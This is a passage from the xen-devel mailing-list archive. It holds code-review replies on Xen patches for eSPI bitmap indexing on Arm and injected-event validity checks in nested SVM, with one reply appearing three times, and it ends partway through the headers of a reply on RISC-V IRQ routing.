X-purgate-size: 1544



On 10-Jul-26 10:31, Mykola Kvach wrote:
> Classic vGIC stores eSPIs in allocated_irqs after the regular virtual
> interrupts. vgic_reserve_virq() therefore translates an eSPI INTID to a
> compressed bitmap index before test_and_set_bit().
> 
> vgic_free_virq() still used the raw virtual INTID. Freeing INTID 4096
> would clear bit 4096 instead of the first eSPI allocation bit, which is
> outside allocated_irqs for a domain with eSPI support. That can leave
> the eSPI reserved and may corrupt memory.
> 
> Add the inverse of idx_to_virq() and use it in both reserve and free, so
> the allocation bitmap is indexed consistently. Also reject invalid
> virtual INTIDs before clearing the bitmap.
I think we can have it in 4.22 given that the release is postponed a bit.

> 
> Fixes: bdde400c6e1b ("xen/arm: vgic: add resource management for extended SPIs")
> Signed-off-by: Mykola Kvach <mykola_kvach@epam.com>
> ---
>  xen/arch/arm/vgic.c | 27 ++++++++++++++++-----------
>  1 file changed, 16 insertions(+), 11 deletions(-)
> 
> diff --git a/xen/arch/arm/vgic.c b/xen/arch/arm/vgic.c
> index e5aca17dcb..b85710c6a7 100644
> --- a/xen/arch/arm/vgic.c
> +++ b/xen/arch/arm/vgic.c
> @@ -33,6 +33,16 @@ static inline unsigned int idx_to_virq(struct domain *d, unsigned int idx)
>      return idx;
>  }
>  
> +static inline unsigned int virq_to_idx(struct domain *d, unsigned int virq)
> +{
> +#ifdef CONFIG_GICV3_ESPI
Same as for patch 1: is_espi() shouldn't be protected as it protects itself.

~Michal



From xen-devel-bounces@lists.xenproject.org Thu Jul 16 12:04:21 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 16 Jul 2026 12:04:21 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1363864.1615342 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wkKpB-0007Uk-Q9; Thu, 16 Jul 2026 12:04:21 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1363864.1615342; Thu, 16 Jul 2026 12:04:21 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wkKpB-0007Ud-MO; Thu, 16 Jul 2026 12:04:21 +0000
Received: by outflank-mailman (input) for mailman id 1363864;
 Thu, 16 Jul 2026 12:04:20 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <abdelkareem.abdelsaamad@citrix.com>)
 id 1wkKpA-0007UV-6T
 for xen-devel@lists.xenproject.org; Thu, 16 Jul 2026 12:04:20 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wkKp9-005k3y-JZ
 for xen-devel@lists.xenproject.org; Thu, 16 Jul 2026 14:04:19 +0200
Received: from [10.42.69.7] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <abdelkareem.abdelsaamad@citrix.com>)
 id 6a58c8bd-5cb7-0a2a0a5109dd-0a2a45078176-22
 for <xen-devel@lists.xenproject.org>; Thu, 16 Jul 2026 14:04:19 +0200
Received: from [160.101.131.8] (helo=na1pdmzitismtp01.tibco.com)
 by tlsNG-ef75cf.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <abdelkareem.abdelsaamad@citrix.com>)
 id 6a58c8c2-b4ea-0a2a45070019-a0658308cb38-3
 for <xen-devel@lists.xenproject.org>; Thu, 16 Jul 2026 14:04:19 +0200
Received: from fedora.eng.citrite.net (unknown [10.113.40.46])
 by na1pdmzitismtp01.tibco.com (Postfix) with ESMTP id 5289D43F950F;
 Thu, 16 Jul 2026 08:02:50 -0400 (EDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; none
From: Abdelkareem Abdelsaamad <abdelkareem.abdelsaamad@citrix.com>
To: xen-devel@lists.xenproject.org,
	teddy.astie@vates.tech
Cc: jbeulich@suse.com,
	andrew.cooper3@citrix.com,
	roger.pau@citrix.com,
	jason.andryuk@amd.com
Subject: Re: Re: [PATCH v1] nSVM: Check injected event consistency
Date: Thu, 16 Jul 2026 13:02:11 +0100
Message-ID: <20260716120211.1319571-1-abdelkareem.abdelsaamad@citrix.com>
X-Mailer: git-send-email 2.53.0
In-Reply-To: <1784124787.8631fc262581453bbf619ec5b2062170.19f661fca07000edb5@vates.tech>
References: <1784124787.8631fc262581453bbf619ec5b2062170.19f661fca07000edb5@vates.tech>
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-ef75cf/1784203459-348C9AE4-CB4AC7EC/0/0
X-purgate-type: clean
X-purgate-size: 2040

On 15.07.2026 16:15, Teddy Astie wrote:
>+             (vmcb_get_sev_es(vmcb) && vmcb_injected_vector == X86_EXC_VC) );

>I'm not sure that #VC is gated behind SEV-ES guest.

>Regardless, injecting manually #VC is weird (especially for SEV-ES guests where it's strongly discouraged), but it could be somewhat abused to emulate some of the SEV-ES semantics. So I would suggest to threat it like the others.
However, It should be a valid VMCB configuration (#VC vector without SEV-ES fields enabled) from the hardware perspective according to the APM stated conditions. I think it is better for the hypervisor software to sanitize against such configuration. The reason is, to my understanding, the #VC vector is architecturally designed exclusively for AMD SEV-ES and SEV-SNP guests. The handlers for #VC in the guest's IDT table without SEV-ES support are not necessarily required which can still result in further debugging and security complications.

>> +    uint8_t vmcb_injected_type = vmcb->event_inj.type & SVM_EVENT_INJ_TYPE_MASK;
>> +    uint8_t vmcb_injected_vector = vmcb->event_inj.vector & SVM_EVENT_INJ_VEC_MASK;

>What are these masks for ?

>The definition of vmcb->event_inj suggest that they are not required
> > uint8_t  vector;
> > uint8_t  type:3;
Ah, right. This seems to be a leftover from my first draft implementation.
It is redundant and not really needed. I will get rid of it in the next revision.

>>   
>>   #define PRINTF(fmt, args...) do { \
>>       if ( !verbose ) return true; \
>> @@ -392,6 +419,15 @@ bool svm_vmcb_isvalid(
>>           PRINTF("eventinj: MBZ bits are set (%#"PRIx64")\n",
>>                  vmcb->event_inj.raw);
>>   
>> +    if ( vmcb_injected_type > X86_ET_SW_INT )
>> +        PRINTF("eventinj: Invalid Injected Event Type: (%#"PRIx8")\n",
>> +               vmcb_injected_type);

>What about vmcb_injected_type == 1 case ?
That is a good catch. I assumed all the representations up to X86_ET_SW_INT (4) are valid. I will
fix in the next revision.


From xen-devel-bounces@lists.xenproject.org Thu Jul 16 12:05:53 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 16 Jul 2026 12:05:53 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1363878.1615352 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wkKqd-00080n-5E; Thu, 16 Jul 2026 12:05:51 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1363878.1615352; Thu, 16 Jul 2026 12:05:51 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wkKqd-00080g-0a; Thu, 16 Jul 2026 12:05:51 +0000
Received: by outflank-mailman (input) for mailman id 1363878;
 Thu, 16 Jul 2026 12:05:49 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <abdelkareem.abdelsaamad@citrix.com>)
 id 1wkKqb-00080W-E9
 for xen-devel@lists.xenproject.org; Thu, 16 Jul 2026 12:05:49 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wkKqa-000WpR-RF
 for xen-devel@lists.xenproject.org; Thu, 16 Jul 2026 14:05:48 +0200
Received: from [10.42.69.4] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <abdelkareem.abdelsaamad@citrix.com>)
 id 6a58c918-5cb7-0a2a0a5109dd-0a2a4504c202-18
 for <xen-devel@lists.xenproject.org>; Thu, 16 Jul 2026 14:05:48 +0200
Received: from [160.101.131.9] (helo=na1pdmzitismtp02.tibco.com)
 by tlsNG-ebf023.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <abdelkareem.abdelsaamad@citrix.com>)
 id 6a58c91b-b57f-0a2a45040019-a0658309b0f0-3
 for <xen-devel@lists.xenproject.org>; Thu, 16 Jul 2026 14:05:48 +0200
Received: from fedora.eng.citrite.net (unknown [10.113.40.46])
 by na1pdmzitismtp02.tibco.com (Postfix) with ESMTP id F21EA82DEFFC;
 Thu, 16 Jul 2026 08:04:08 -0400 (EDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; none
From: Abdelkareem Abdelsaamad <abdelkareem.abdelsaamad@citrix.com>
To: xen-devel@lists.xenproject.org,
	teddy.astie@vates.tech
Cc: jbeulich@suse.com,
	andrew.cooper3@citrix.com,
	roger.pau@citrix.com,
	jason.andryuk@amd.com
Subject: Re: Re: [PATCH v1] nSVM: Check injected event consistency
Date: Thu, 16 Jul 2026 13:03:40 +0100
Message-ID: <20260716120340.1319581-1-abdelkareem.abdelsaamad@citrix.com>
X-Mailer: git-send-email 2.53.0
In-Reply-To: <1784124787.8631fc262581453bbf619ec5b2062170.19f661fca07000edb5@vates.tech>
References: <1784124787.8631fc262581453bbf619ec5b2062170.19f661fca07000edb5@vates.tech>
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-ebf023/1784203548-C1AD0B50-BDF7CE88/0/0
X-purgate-type: clean
X-purgate-size: 2040

On 15.07.2026 16:15, Teddy Astie wrote:
>+             (vmcb_get_sev_es(vmcb) && vmcb_injected_vector == X86_EXC_VC) );

>I'm not sure that #VC is gated behind SEV-ES guest.

>Regardless, injecting manually #VC is weird (especially for SEV-ES guests where it's strongly discouraged), but it could be somewhat abused to emulate some of the SEV-ES semantics. So I would suggest to threat it like the others.
However, It should be a valid VMCB configuration (#VC vector without SEV-ES fields enabled) from the hardware perspective according to the APM stated conditions. I think it is better for the hypervisor software to sanitize against such configuration. The reason is, to my understanding, the #VC vector is architecturally designed exclusively for AMD SEV-ES and SEV-SNP guests. The handlers for #VC in the guest's IDT table without SEV-ES support are not necessarily required which can still result in further debugging and security complications.

>> +    uint8_t vmcb_injected_type = vmcb->event_inj.type & SVM_EVENT_INJ_TYPE_MASK;
>> +    uint8_t vmcb_injected_vector = vmcb->event_inj.vector & SVM_EVENT_INJ_VEC_MASK;

>What are these masks for ?

>The definition of vmcb->event_inj suggest that they are not required
> > uint8_t  vector;
> > uint8_t  type:3;
Ah, right. This seems to be a leftover from my first draft implementation.
It is redundant and not really needed. I will get rid of it in the next revision.

>>   
>>   #define PRINTF(fmt, args...) do { \
>>       if ( !verbose ) return true; \
>> @@ -392,6 +419,15 @@ bool svm_vmcb_isvalid(
>>           PRINTF("eventinj: MBZ bits are set (%#"PRIx64")\n",
>>                  vmcb->event_inj.raw);
>>   
>> +    if ( vmcb_injected_type > X86_ET_SW_INT )
>> +        PRINTF("eventinj: Invalid Injected Event Type: (%#"PRIx8")\n",
>> +               vmcb_injected_type);

>What about vmcb_injected_type == 1 case ?
That is a good catch. I assumed all the representations up to X86_ET_SW_INT (4) are valid. I will
fix in the next revision.


From xen-devel-bounces@lists.xenproject.org Thu Jul 16 12:25:46 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 16 Jul 2026 12:25:46 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1363933.1615359 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wkL9g-0002Zu-Lt; Thu, 16 Jul 2026 12:25:32 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1363933.1615359; Thu, 16 Jul 2026 12:25:32 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wkL9g-0002Zn-J6; Thu, 16 Jul 2026 12:25:32 +0000
Received: by outflank-mailman (input) for mailman id 1363933;
 Thu, 16 Jul 2026 12:25:32 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <abdelkareem.abdelsaamad@citrix.com>)
 id 1wkL9g-0002Zh-15
 for xen-devel@lists.xenproject.org; Thu, 16 Jul 2026 12:25:32 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wkL9f-000aKY-EF
 for xen-devel@lists.xenproject.org; Thu, 16 Jul 2026 14:25:31 +0200
Received: from [10.42.69.9] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <abdelkareem.abdelsaamad@citrix.com>)
 id 6a58cdb5-2eae-0a2a0a5409dd-0a2a4509a5cc-26
 for <xen-devel@lists.xenproject.org>; Thu, 16 Jul 2026 14:25:31 +0200
Received: from [160.101.131.9] (helo=na1pdmzitismtp02.tibco.com)
 by tlsNG-bad1c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <abdelkareem.abdelsaamad@citrix.com>)
 id 6a58c945-be1a-0a2a45090019-a0658309c2aa-3
 for <xen-devel@lists.xenproject.org>; Thu, 16 Jul 2026 14:06:29 +0200
Received: from fedora.eng.citrite.net (unknown [10.113.40.46])
 by na1pdmzitismtp02.tibco.com (Postfix) with ESMTP id 6FF3C82EC53D;
 Thu, 16 Jul 2026 08:04:50 -0400 (EDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; none
From: Abdelkareem Abdelsaamad <abdelkareem.abdelsaamad@citrix.com>
To: xen-devel@lists.xenproject.org,
	teddy.astie@vates.tech
Cc: jbeulich@suse.com,
	andrew.cooper3@citrix.com,
	roger.pau@citrix.com,
	jason.andryuk@amd.com
Subject: Re: Re: [PATCH v1] nSVM: Check injected event consistency
Date: Thu, 16 Jul 2026 13:04:22 +0100
Message-ID: <20260716120422.1319593-1-abdelkareem.abdelsaamad@citrix.com>
X-Mailer: git-send-email 2.53.0
In-Reply-To: <1784124787.8631fc262581453bbf619ec5b2062170.19f661fca07000edb5@vates.tech>
References: <1784124787.8631fc262581453bbf619ec5b2062170.19f661fca07000edb5@vates.tech>
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-bad1c0/1784203590-FD469034-1F76C414/13/0
X-purgate-type: clean
X-purgate-size: 2040

On 15.07.2026 16:15, Teddy Astie wrote:
>+             (vmcb_get_sev_es(vmcb) && vmcb_injected_vector == X86_EXC_VC) );

>I'm not sure that #VC is gated behind SEV-ES guest.

>Regardless, injecting manually #VC is weird (especially for SEV-ES guests where it's strongly discouraged), but it could be somewhat abused to emulate some of the SEV-ES semantics. So I would suggest to threat it like the others.
However, It should be a valid VMCB configuration (#VC vector without SEV-ES fields enabled) from the hardware perspective according to the APM stated conditions. I think it is better for the hypervisor software to sanitize against such configuration. The reason is, to my understanding, the #VC vector is architecturally designed exclusively for AMD SEV-ES and SEV-SNP guests. The handlers for #VC in the guest's IDT table without SEV-ES support are not necessarily required which can still result in further debugging and security complications.

>> +    uint8_t vmcb_injected_type = vmcb->event_inj.type & SVM_EVENT_INJ_TYPE_MASK;
>> +    uint8_t vmcb_injected_vector = vmcb->event_inj.vector & SVM_EVENT_INJ_VEC_MASK;

>What are these masks for ?

>The definition of vmcb->event_inj suggest that they are not required
> > uint8_t  vector;
> > uint8_t  type:3;
Ah, right. This seems to be a leftover from my first draft implementation.
It is redundant and not really needed. I will get rid of it in the next revision.

>>   
>>   #define PRINTF(fmt, args...) do { \
>>       if ( !verbose ) return true; \
>> @@ -392,6 +419,15 @@ bool svm_vmcb_isvalid(
>>           PRINTF("eventinj: MBZ bits are set (%#"PRIx64")\n",
>>                  vmcb->event_inj.raw);
>>   
>> +    if ( vmcb_injected_type > X86_ET_SW_INT )
>> +        PRINTF("eventinj: Invalid Injected Event Type: (%#"PRIx8")\n",
>> +               vmcb_injected_type);

>What about vmcb_injected_type == 1 case ?
That is a good catch. I assumed all the representations up to X86_ET_SW_INT (4) are valid. I will
fix in the next revision.


From xen-devel-bounces@lists.xenproject.org Thu Jul 16 12:35:43 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 16 Jul 2026 12:35:43 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1363971.1615368 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wkLJN-0004Ho-I9; Thu, 16 Jul 2026 12:35:33 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1363971.1615368; Thu, 16 Jul 2026 12:35:33 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wkLJN-0004Hh-FH; Thu, 16 Jul 2026 12:35:33 +0000
Received: by outflank-mailman (input) for mailman id 1363971;
 Thu, 16 Jul 2026 12:35:32 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92) id 1wkLJM-0004Hb-3E
 for xen-devel@lists.xenproject.org; Thu, 16 Jul 2026 12:35:32 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wkLJJ-00EhIW-3l
 for xen-devel@lists.xenproject.org; Thu, 16 Jul 2026 14:35:29 +0200
Received: from [10.42.69.8] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a58d009-bab6-0a2a0a5309dd-0a2a4508dc80-32
 for <xen-devel@lists.xenproject.org>; Thu, 16 Jul 2026 14:35:28 +0200
Received: from [209.85.221.46] (helo=mail-wr1-f46.google.com)
 by tlsNG-c1860d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a58d010-f659-0a2a45080019-d155dd2ee4e5-3
 for <xen-devel@lists.xenproject.org>; Thu, 16 Jul 2026 14:35:28 +0200
Received: by mail-wr1-f46.google.com with SMTP id
 ffacd0b85a97d-470174001a0so1700344f8f.0
 for <xen-devel@lists.xenproject.org>; Thu, 16 Jul 2026 05:35:28 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 ffacd0b85a97d-47f464caeffsm22746633f8f.36.2026.07.16.05.35.27
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Thu, 16 Jul 2026 05:35:27 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:Autocrypt:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1784205328; x=1784810128; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=6GsA1hnt7dB4Nount0NQW3/ntJN4n8sOG/E6DgsVMf4=;
        b=DnWusp+VseJRB9eJ4O015Gu/wcAU8yGiPzf60kpWAKNw22tWJk2XdEmTz2nD/bwCci
         hqAU30SDPq1gpT8bA5m7pEEgfOzNaZbGed8/1ZQVbM0tPyyIpf9isUvxFKU+XFfYCJN2
         7DNSXTIKzaRqINuTFRKuYlreIjxM57ge9jdVTdkUOJzuCDVy5p/louQzOCre+axD/30B
         C9JDqCai32rSdNmF6bMxArnT/0tCrwfji512eCfWJXcgCyXqJF3yoQGoa3zBvBLdhmA7
         TEPlsvPhwrn+MmohJrnbakOR0jpH3uBmRkZz7IOvaSHNq14nlwm9Ff9RSBvvr8qUxMoL
         3HZg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1784205328; x=1784810128;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=6GsA1hnt7dB4Nount0NQW3/ntJN4n8sOG/E6DgsVMf4=;
        b=CVCeqyrwQWkPDfjjnCoonMdb76REfM6RYNKayHPEtYJoIaiPO3omOf1P73nYrIL3SY
         YFzcdShyJzFp9FnB1XCcqz4atlnYDrRIZEx7amDAMujOgCGofAifsvlh2nvRrncFWYEL
         QfVfLQLpl8JP8qkJGKyFIN+bTkUqDSvdZ8ZqVUKFr6cbeOk8vDxvAwnr0hHWrG0BcxPE
         j900noEYytLN+IPegJhizsdwOXuHExH9QEZwkWKNvXDRq3O1bzlEseMCJy60yLdSTK5P
         uvj0EPwJckEz/P026zQpJvtRQd/rM6+ehVPyd7cCAK0cMmte7aQfmFvFlGJfChHawF6O
         T/1A==
X-Forwarded-Encrypted: i=1; AHgh+RrBINMQPL/bWvgzStlMuairSyGOQBySRtj5T3jJy5wRgp5K/X9x88Kh8AyC85z8lU3vmZdFWC9qr50=@lists.xenproject.org
X-Gm-Message-State: AOJu0YwEfLM0eBugoZAedBJDp93hoLVvGsQ+Ziy7P7DYKPXR1luRT7Bn
	Xku4F9DFuHs7gM5bWV4IibO+hParu/sZjrvjtjFYYaLU/4yXj4uq/OxrS9B683yfYQ==
X-Gm-Gg: AfdE7clZ8CTlN+vuCoj0WPzRpt7wTlyrZf6Plz9DygGlyWFr7hM8kHKUshz7CJF1Z7t
	8UaJv5JKo+Np3CzxDfe1Yk87wTnMbjKFG4iRmbH8sVA3se6P32Y4YBnPDxNzHX5V1S6vgDavxkF
	oOGZJU/k6y4Mkfx9oUL7mIOiAAZxyXbW8G9LnRBzdXoMEUW3o0mMzo5JKa9LtFhVbaETKhihNki
	ynB0nbQ9CJw/K0iQiz29XGf6HWW/2mGGyKX1tlnZpWEmO3wZoaL43IZS/AsqNrM2hFqbnymgc+J
	FzFYLHP1YP3jNFnbQjO1Q79kYI/PyMSq72f61HM+hGixZkSqAfGlGx/J50UQCi5iyRtPUy3aRbI
	4F/VihHAs0nYVMXi0iBMvz2la3CUg9Anz08lpsYSkVf2QyPjQ2x63p4GXdCQVDym6TRhVUjmDFw
	f/21DwJrPSrl5VnTM4A0DWH0twAqHJOckzRQM0ZM/DAoduvyH6LMfBHW39Yfv/5kH7WQ==
X-Received: by 2002:a5d:588e:0:b0:47d:f43d:8947 with SMTP id ffacd0b85a97d-47f2dce306dmr24886863f8f.47.1784205328269;
        Thu, 16 Jul 2026 05:35:28 -0700 (PDT)
Message-ID: <fb34a560-9f54-4b16-86b0-2cedd63b7af6@suse.com>
Date: Thu, 16 Jul 2026 14:35:26 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v5 21/26] xen/riscv: implement IRQ routing for device
 passthrough
To: Oleksii Kurochko <oleksii.kurochko@gmail.com>
Cc: Romain Caritey <Romain.Caritey@microchip.com>,
 Baptiste Le Duc <baptiste.le-duc@vates.tech>,
 Alistair Francis <alistair.francis@wdc.com>,
 Connor Davis <connojdavis@gmail.com>,
 "Daniel P. Smith" <dpsmith@apertussolutions.com>,
 xen-devel@lists.xenproject.org
References: <cover.1783331040.git.oleksii.kurochko@gmail.com>
 <c8611ea230ffaf44bec4b4232dfbb9832bb24619.1783331040.git.oleksii.kurochko@gmail.com>
Content-Language: en-US
From: Jan Beulich <jbeulich@suse.com>
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+Hl6/DB/eqGptrf4BSRwcZQM32aZK
 7Pj2XbGWIUrZrd70x1eAP9QE3P79Y2oLrsCgbZJfEwCgvz9JjGmQqQkRiTVzlZVCJYcyGGsD
 /0tbFCzD2h20ahe8rC1gbb3K3qk+LpBtvjBu1RY9drYk0NymiGbJWZgab6t1jM7sk2vuf0Py
 O9Hf9XBmK0uE9IgMaiCpc32XV9oASz6UJebwkX+zF2jG5I1BfnO9g7KlotcA/v5ClMjgo6Gl
 MDY4HxoSRu3i1cqqSDtVlt+AOVBJBACrZcnHAUSuCXBPy0jOlBhxPqRWv6ND4c9PH1xjQ3NP
 nxJuMBS8rnNg22uyfAgmBKNLpLgAGVRMZGaGoJObGf72s6TeIqKJo/LtggAS9qAUiuKVnygo
 3wjfkS9A3DRO+SpU7JqWdsveeIQyeyEJ/8PTowmSQLakF+3fote9ybzd880fSmFuIEJldWxp
 Y2ggPGpiZXVsaWNoQHN1c2UuY29tPsJgBBMRAgAgBQJZN5xEAhsDBgsJCAcDAgQVAggDBBYC
 AwECHgECF4AACgkQoDSui/t3IH4J+wCfQ5jHdEjCRHj23O/5ttg9r9OIruwAn3103WUITZee
 e7Sbg12UgcQ5lv7SzsFNBFk3nEQQCACCuTjCjFOUdi5Nm244F+78kLghRcin/awv+IrTcIWF
 hUpSs1Y91iQQ7KItirz5uwCPlwejSJDQJLIS+QtJHaXDXeV6NI0Uef1hP20+y8qydDiVkv6l
 IreXjTb7DvksRgJNvCkWtYnlS3mYvQ9NzS9PhyALWbXnH6sIJd2O9lKS1Mrfq+y0IXCP10eS
 FFGg+Av3IQeFatkJAyju0PPthyTqxSI4lZYuJVPknzgaeuJv/2NccrPvmeDg6Coe7ZIeQ8Yj
 t0ARxu2xytAkkLCel1Lz1WLmwLstV30g80nkgZf/wr+/BXJW/oIvRlonUkxv+IbBM3dX2OV8
 AmRv1ySWPTP7AAMFB/9PQK/VtlNUJvg8GXj9ootzrteGfVZVVT4XBJkfwBcpC/XcPzldjv+3
 HYudvpdNK3lLujXeA5fLOH+Z/G9WBc5pFVSMocI71I8bT8lIAzreg0WvkWg5V2WZsUMlnDL9
 mpwIGFhlbM3gfDMs7MPMu8YQRFVdUvtSpaAs8OFfGQ0ia3LGZcjA6Ik2+xcqscEJzNH+qh8V
 m5jjp28yZgaqTaRbg3M/+MTbMpicpZuqF4rnB0AQD12/3BNWDR6bmh+EkYSMcEIpQmBM51qM
 EKYTQGybRCjpnKHGOxG0rfFY1085mBDZCH5Kx0cl0HVJuQKC+dV2ZY5AqjcKwAxpE75MLFkr
 wkkEGBECAAkFAlk3nEQCGwwACgkQoDSui/t3IH7nnwCfcJWUDUFKdCsBH/E5d+0ZnMQi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
